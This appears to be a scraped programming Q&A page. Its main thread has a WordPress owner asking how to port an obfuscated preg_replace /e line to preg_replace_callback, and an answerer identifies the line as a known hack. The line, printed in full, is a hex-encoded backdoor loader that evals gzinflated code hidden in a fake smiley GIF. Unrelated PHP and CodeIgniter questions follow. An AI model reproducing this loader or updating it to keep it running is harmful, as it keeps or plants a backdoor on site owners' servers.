Wordpress update preg_replace to preg_replace_callback - php

I'm updating my website's PHP and when I try to update it to the most recent PHP version I get this message:
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /home/customer/www/---.org/public_html/wp-includes/init.php on line 291
Here's the line I want to change:
preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");
I need to change it to preg_replace_callback but I'm confused by this part:
\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b
How do I translate that part?
When I use an online decoder it looks like this:
eval('$pagexyz = #file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(#gzinflate($pagexyz));');

I've not looked to deeply into this but, are you supposed to have a wp-includes/init.php file?
Official repo shows no such file for the latest version
A quick google suggests this is the result of a hack, search "wp-includes/init.php"
Also examining the code i see "wp-includes/images/smilies/icon_wtf.gif" why would what the f*** .gif be in the core? And the encoded function here smells very fishy.
Post about the potential hack
https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/
You shouldnt need to edit anything inside wp-includes/ as its a core folder. It would make sense to install a Core integrity checking plugin and maybe update to the latest version, you cant guarantee the database hasn't already been tampered with.

Related

Determine if PHP installation preg_* functions support multibyte regular expressions [duplicate]

Is there any way to get version (and date of release) of PCRE bundled with PHP from PHP code and store it into variable?
I can found it using phpinfo() but can't find any other way to get that value directly from code.
I was trying to find solution last couple of hours but it's hopeless.
So far, I can get complete phpinfo() output in variable and pull out PCRE version/release date from there but I'm wondering is there easier solution?
You can also use constant PCRE_VERSION
found source here
I think the ReflectionExtension class is made for this, though I can't seem to get the version out of it directly (getVersion() returns null). This does work however:
$pcreReflector = new ReflectionExtension("pcre");
ob_start();
$pcreReflector->info();
$pcreInfo = ob_get_clean(); // Version and release date can be parsed from here
You'll still have to parse it, but at least it's just the relevant part and not the entire phpinfo output.

Stubborn Byte Order Mark in cakephp

I know there are a lot of questions on this topic, I've been reading and trying different ideas for hours.
I'm fetching data using the Dropbox api, which works fine, but it's slow.
So I'm moving this fetch to ajax.
The json response has the ever popular invisible question mark appended to the end of the string... after the closing square bracket.
.....}]?
This makes the json object invalid and none of the regular functions work on invalid json.
It's there when I load the page direct, but goes away when I set autoRender to false. So I got it working.... but, I would like to find this little POS and remove it before it shows up randomly in the future. It took hours to figure out that this was problem because it's invisible!
I can use Notepad++ to eradicate the little beasty, but I can't find it!
I've tried the following...
grep -rlI $'\xEF\xBB\xBF' .
Total Commander -> go to project's root dir -> find files (alt+f7) -> file types . -> Find text "EF BB BF" -> check 'Hex' checkbox -> search
search in project for charset=iso-8859
Tried this hack
$response = preg_replace('/[\x00-\x1F\x80-\xFF]/', '', $response);
I use Netbeans which near as I can tell is worthless for this problem.
Keep in mind, this is Cakephp 2.3, so there are about 3.7 million files that get loaded.
How do you find these things??

How to get version of PCRE (bundled with PHP) from code?

Is there any way to get version (and date of release) of PCRE bundled with PHP from PHP code and store it into variable?
I can found it using phpinfo() but can't find any other way to get that value directly from code.
I was trying to find solution last couple of hours but it's hopeless.
So far, I can get complete phpinfo() output in variable and pull out PCRE version/release date from there but I'm wondering is there easier solution?
You can also use constant PCRE_VERSION
found source here
I think the ReflectionExtension class is made for this, though I can't seem to get the version out of it directly (getVersion() returns null). This does work however:
$pcreReflector = new ReflectionExtension("pcre");
ob_start();
$pcreReflector->info();
$pcreInfo = ob_get_clean(); // Version and release date can be parsed from here
You'll still have to parse it, but at least it's just the relevant part and not the entire phpinfo output.

What is causing the Disallowed Key Characters error?

Is there a way to find what part of my code is causing the Disallowed Key Characters error in Codeigniter?
It's could be a "bad" form input name that you are trying to run through the Form_validation library. This is the only time I've had this issue, but it could be a $_GET key as well.
Without more details from you, it's hard to say - but there's a good place to check.
Wesley,
I have no idea if this will be your answer, but I figured I would contribute it just in case someone also had the same error as myself.
I think I have gotten this error when I had a dis-allowed character in a url string. It turned out that I had a underscore character in one of my controller class names.
I believe there is a setting in the config file for codeigniter where you can specify allowed characters in the URL string.
I am at work and don't have access to a copy of the Code Igniter files, but when I searched the CI website I did find this:
CodeIgniter Changelog
In the change log notes for version 1.4.0 they mention that they moved the "allowed characters" settings out of "routes.php" file and into the "config.php" file. The actual line says:
Moved the list of "allowed URI
characters" out of the Router class
and into the config file.
I believe the list of "allowed URI charcters" is an array that specifies what characters can be used in naming conventions for URL/URI. You might want to check your config.php file and see what characters are currently allowed and see if you are using any of those not allowed characters in your URI, as this could also potentially trigger your error.
Good luck!
Edit: In the change log for version 1.7.1 they mention this:
A "HTTP/1.1 400 Bad Request" header is
now sent when disallowed characters
are encountered.

Character-wise string diff in PHP

In short I am looking for something like google-diff-match-patch in PHP.
I have had a look at some similar questions at SO, and also at the algorithm provided here, but all of them fail:
diff("draßen", "da draußen")
should not give
<del>draßen</del> <ins>da draußen</ins>
(which is kind of stupid for my purpose, because I want to compare file names), but (try here)
<ins>da </ins>dra<ins>u</ins>ßen
Is there a code snippet in PHP that does this? Unfortunately, I cannot use (i.e. install) external packages.
https://github.com/gorhill/PHP-FineDiff supports character-wise diff and can render the differences in HTML
The PEAR Package Text_Diff provides Inline-Diffs.
There is a php version of google-diff-match-patch available here: https://github.com/nuxodin/diff_match_patch-php
There is a port of fresh version google-diff-match-patch library.
It is much faster than previous and have no problems wth utf8.

Categories